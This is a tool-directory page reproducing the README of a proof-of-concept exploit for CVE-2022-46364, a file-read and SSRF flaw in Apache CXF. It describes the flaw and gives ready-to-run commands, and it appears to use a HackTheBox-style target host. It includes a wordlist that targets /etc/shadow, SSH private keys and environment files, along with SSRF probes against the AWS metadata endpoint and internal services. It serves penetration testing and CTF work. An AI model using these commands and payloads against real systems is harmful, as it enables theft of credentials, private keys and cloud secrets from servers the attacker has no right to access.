Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-46364-poc — CVE-2022-46364 Apache CXF XOP:Include SSRF / LFI | Kitploit
Tools/GitHubGitHub/0xmid00/cve-2022-46364-poc
Vulnerability AnalysisExploitationWeb Application ExploitationFuzzingPenetration Testing
GitHub0xmid00/cve-2022-46364-poc

CVE-2022-46364-poc

CVE-2022-46364 Apache CXF XOP:Include SSRF / LFI

View Repository
15 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2022-46364 — Apache CXF XOP:Include SSRF / LFI

Author: 0xmid00
Vulnerability: SSRF / Local File Read via XOP:Include in MTOM requests
Affected: Apache CXF < 3.5.5 and < 3.4.10


What is the Vulnerability?

Apache CXF processes MTOM (Message Transmission Optimization Mechanism) messages that contain XOP:Include elements. The href attribute of XOP:Include is supposed to reference an attachment within the same MTOM multipart message.

However, in vulnerable versions, CXF will follow any URI supplied in href, including:

  • file:///etc/passwd → reads local files (LFI)
  • http://127.0.0.1:PORT/ → probes internal services (SSRF)

An attacker only needs to send a SOAP request with at least one parameter of any type to trigger this.


Requirements

Download Tool
root@kitploit:~
pip install requests

Usage

root@kitploit:~
python3 exploit.py -r request.txt [options]

Arguments

ArgumentDescription
-r, --requestPath to raw HTTP request file (required)
--mode 1Auto-detect injectable XML fields using /etc/passwd
--mode 2Fuzz a wordlist of file paths
--field NAMESpecify the XML field to inject (skips auto-detection)
--wordlist PATHPath to file wordlist for Mode 2
--read PATHRead a single specific file
-v, --verboseShow detailed request info

Request File Format

Save your raw HTTP request to a .txt file exactly as captured (e.g. from Burp):

root@kitploit:~
POST /employeeservice HTTP/1.1
Host: devarea.htb:8080
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
Connection: close
Content-Length: 487

<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope
  xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:tns="http://devarea.htb/">
  <soapenv:Body>
    <tns:submitReport>
      <arg0>
        <confidential>false</confidential>
        <content>test</content>
        <department>IT</department>
        <employeeName>john</employeeName>
      </arg0>
    </tns:submitReport>
  </soapenv:Body>
</soapenv:Envelope>

The exploit automatically converts it to MTOM format — you don't need to do that manually.


Examples

Mode 1 — Auto-detect all injectable fields

root@kitploit:~
python3 exploit.py -r request.txt --mode 1

Tries injecting file:///etc/passwd into every leaf XML element and reports which ones return file content.


Mode 1 — Test a specific field

root@kitploit:~
python3 exploit.py -r request.txt --mode 1 --field content

Mode 2 — Fuzz files (auto-detect field first)

root@kitploit:~
python3 exploit.py -r request.txt --mode 2 --wordlist lfi.txt

First runs Mode 1 to find the injectable field, then fuzzes all paths in the wordlist through that field.


Mode 2 — Fuzz files with known field (fastest)

root@kitploit:~
python3 exploit.py -r request.txt --mode 2 --field content --wordlist lfi.txt

Skips field detection and goes straight to fuzzing.


Single file read

root@kitploit:~
python3 exploit.py -r request.txt --field content --read /home/dev_ryan/.ssh/id_rsa

Wordlist Example (lfi.txt)

root@kitploit:~
/etc/passwd
/etc/shadow
/etc/hosts
/etc/hostname
/proc/self/environ
/proc/self/cmdline
/home/dev_ryan/.ssh/id_rsa
/home/dev_ryan/.bash_history
/home/dev_ryan/.bashrc
/root/.ssh/id_rsa
/root/.bash_history
/var/log/auth.log
/var/log/syslog

You can also use SecLists:

root@kitploit:~
/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt

How it Works

  1. Parses the raw HTTP request file
  2. Locates the target XML field in the SOAP body
  3. Replaces its content with <xop:Include href="file:///..."/>
  4. Wraps the request in MTOM multipart format (required to activate CXF's XOP processor)
  5. Sends the request — CXF fetches the file and returns its content base64-encoded
  6. Decodes and prints the result

SSRF Mode

To probe internal HTTP services instead of reading files:

root@kitploit:~
python3 exploit.py -r request.txt --field content --read http://127.0.0.1:8080/

Or edit the --read value with any internal URL:

root@kitploit:~
--read http://169.254.169.254/latest/meta-data/   (AWS metadata)
--read http://127.0.0.1:3306/                      (MySQL)
--read http://127.0.0.1:22/                        (SSH banner)

Disclaimer

This tool is for authorized penetration testing and CTF challenges only. The author is not responsible for any misuse.